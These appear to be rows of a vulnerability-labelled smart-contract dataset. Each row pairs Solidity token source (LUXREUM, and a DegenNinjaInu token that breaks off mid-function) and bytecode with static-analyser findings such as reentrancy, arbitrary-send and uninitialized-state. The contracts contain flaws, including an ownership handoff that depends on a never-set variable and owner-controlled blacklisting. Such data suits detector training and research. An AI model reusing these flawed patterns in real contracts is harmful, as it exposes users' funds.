826118b6565b600a555050565b600080808061199d60646119978989611a28565b906115a5565b905060006119b060646119978a89611a28565b905060006119c8826119c28b86611874565b90611874565b9992985090965090945050505050565b60008080806119e78886611a28565b905060006119f58887611a28565b90506000611a038888611a28565b90506000611a15826119c28686611874565b939b939a50919850919650505050505050565b600082611a375750600061054e565b6000611a438385611e33565b905082611a508583611e13565b146114eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e7565b8035611ab281611eb0565b919050565b600060208284031215611ac8578081fd5b81356114eb81611eb0565b600060208284031215611ae4578081fd5b81516114eb81611eb0565b60008060408385031215611b01578081fd5b8235611b0c81611eb0565b91506020830135611b1c81611eb0565b809150509250929050565b600080600060608486031215611b3b578081fd5b8335611b4681611eb0565b92506020840135611b5681611eb0565b929592945050506040919091013590565b60008060408385031215611b79578182fd5b8235611b8481611eb0565b91506020830135611b1c81611ec5565b60008060408385031215611ba6578182fd5b8235611bb181611eb0565b946020939093013593505050565b60006020808385031215611bd1578182fd5b823567ffffffffffffffff80821115611be8578384fd5b818501915085601f830112611bfb578384fd5b813581811115611c0d57611c0d611e9a565b8060051b604051601f19603f83011681018181108582111715611c3257611c32611e9a565b604052828152858101935084860182860187018a1015611c50578788fd5b8795505b83861015611c7957611c6581611aa7565b855260019590950194938601938601611c54565b5098975050505050505050565b600060208284031215611c97578081fd5b81356114eb81611ec5565b600060208284031215611cb3578081fd5b81516114eb81611ec5565b600060208284031215611ccf578081fd5b5035919050565b600080600060608486031215611cea578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d2f57858101830151858201604001528201611d13565b81811115611d405783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dda5784516001600160a01b031683529383019391830191600101611db5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e0e57611e0e611e84565b500190565b600082611e2e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e4d57611e4d611e84565b500290565b600082821015611e6457611e64611e84565b500390565b6000600019821415611e7d57611e7d611e84565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064757600080fd5b801515811461064757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b139ab69c2594a617261314d3886e3e947a2a71eec652f5fba681c6033db781b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,741 |
0x3757ec7fe6e8f024354eefd373b9fe719b1bd393
|
pragma solidity ^0.4.16;
// LUXREUM Smart contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Verified Status: ERC20 Verified Token
// LUXREUM Symbol: LXR
contract LUXREUMToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* LUXREUM tokens Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract LXRStandardToken is LUXREUMToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LUXREUM is LXRStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 18;
uint256 public totalSupply = 200 * (10**7) * 10**18 ; // 2 Billion tokens, 18 decimal places,
string constant public name = "LUXREUM";
string constant public symbol = "LXR";
function LUXREUM(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x606060405236156100e4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e9578063095ea7b31461017757806318160ddd146101d157806323b872dd146101fa578063313ce5671461027357806370a082311461029c57806379ba5097146102e95780638da5cb5b146102fe57806395d89b4114610353578063a9059cbb146103e1578063b414d4b61461043b578063cae9ca511461048c578063d4ee1d9014610529578063dd62ed3e1461057e578063e724529c146105ea578063f2fde38b1461062e575b600080fd5b34156100f457600080fd5b6100fc610667565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013c578082015181840152602081019050610121565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018257600080fd5b6101b7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106a0565b604051808215151515815260200191505060405180910390f35b34156101dc57600080fd5b6101e4610827565b6040518082815260200191505060405180910390f35b341561020557600080fd5b610259600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082d565b604051808215151515815260200191505060405180910390f35b341561027e57600080fd5b610286610cfc565b6040518082815260200191505060405180910390f35b34156102a757600080fd5b6102d3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d01565b6040518082815260200191505060405180910390f35b34156102f457600080fd5b6102fc610d4a565b005b341561030957600080fd5b610311610ea9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561035e57600080fd5b610366610ecf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f08565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b610472600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061123f565b604051808215151515815260200191505060405180910390f35b341561049757600080fd5b61050f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061125f565b604051808215151515815260200191505060405180910390f35b341561053457600080fd5b61053c611500565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058957600080fd5b6105d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611526565b6040518082815260200191505060405180910390f35b34156105f557600080fd5b61062c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506115ad565b005b341561063957600080fd5b610665600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d3565b005b6040805190810160405280600781526020017f4c55585245554d0000000000000000000000000000000000000000000000000081525081565b60008082148061072c57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561073757600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561088a5760009050610cf5565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610955575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109615750600082115b801561099a5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610a365750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a3383600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117aa90919063ffffffff16565b10155b8015610a4757506044600036905010155b1515610a5257600080fd5b610aa482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3982600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117aa90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0b82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da657600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4c5852000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f655760009050611239565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb45750600082115b8015610fed5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110895750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108683600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117aa90919063ffffffff16565b10155b801561109a57506044600036905010155b15156110a557600080fd5b6110f782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118c82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117aa90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156114a0578082015181840152602081019050611485565b50505050905090810190601f1680156114cd5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156114f557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156117a75780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156117c25750828110155b15156117ca57fe5b8091505092915050565b60008282111515156117e257fe5b8183039050929150505600a165627a7a7230582000de1c2ccc816c36d45c558cb93d0aa4a640784d54b8adeaf3777c0d45916b260029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 3,742 |
0x4a77834d5135fa85c341fc1318d7f99545dde6dd
|
/**
*Submitted for verification at Etherscan.io on 2022-03-13
*/
// SPDX-License-Identifier: Unlicensed
/*
Telegram: https://t.me/degenninjainu
░█▀▀▄ █▀▀ █▀▀▀ █▀▀ █▀▀▄ ░█▄─░█ ─▀─ █▀▀▄ ──▀ █▀▀█ ▀█▀ █▀▀▄ █──█
░█─░█ █▀▀ █─▀█ █▀▀ █──█ ░█░█░█ ▀█▀ █──█ ──█ █▄▄█ ░█─ █──█ █──█
░█▄▄▀ ▀▀▀ ▀▀▀▀ ▀▀▀ ▀──▀ ░█──▀█ ▀▀▀ ▀──▀ █▄█ ▀──▀ ▄█▄ ▀──▀ ─▀▀▀
Telegram: https://t.me/degenninjainu
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract DegenNinjaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "Degen Ninja Inu";
string private constant _symbol = "DegenNinja";
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(4);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
